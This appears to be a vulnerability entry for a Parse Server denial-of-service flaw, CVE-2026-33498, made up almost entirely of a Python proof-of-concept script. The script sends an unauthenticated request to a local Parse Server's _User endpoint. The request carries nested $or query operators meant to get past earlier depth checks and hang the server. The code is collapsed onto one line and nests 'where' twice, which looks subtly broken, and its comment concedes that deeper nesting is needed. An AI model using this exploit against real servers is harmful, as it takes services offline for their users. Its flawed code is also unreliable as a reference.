CVE-2026-33498 Parse Server拒绝服务漏洞

import requests import json # Target Parse Server endpoint url = "http://localhost:1337/parse/classes/_User" # Construct a deeply nested query with logical operators # This payload is designed to bypass the depth checks fixed in CVE-2026-32944 payload = { "where": { "$or": [ {"$or": [{"$or": [{"$or": [{"username": "admin"}]}]}]}, {"$or": [{"$or": [{"$or": [{"password": {"$exists": True}}]}]}]} ] } } # Send unauthenticated request try: # In a real exploit, the nesting would be much deeper to guarantee the hang response = requests.get(url, params={"where": json.dumps(payload)}, timeout=5) print(f"Request sent, status code: {response.status_code}") except requests.exceptions.Timeout: print("Server hung/timed out as expected") except Exception as e: print(f"An error occurred: {e}")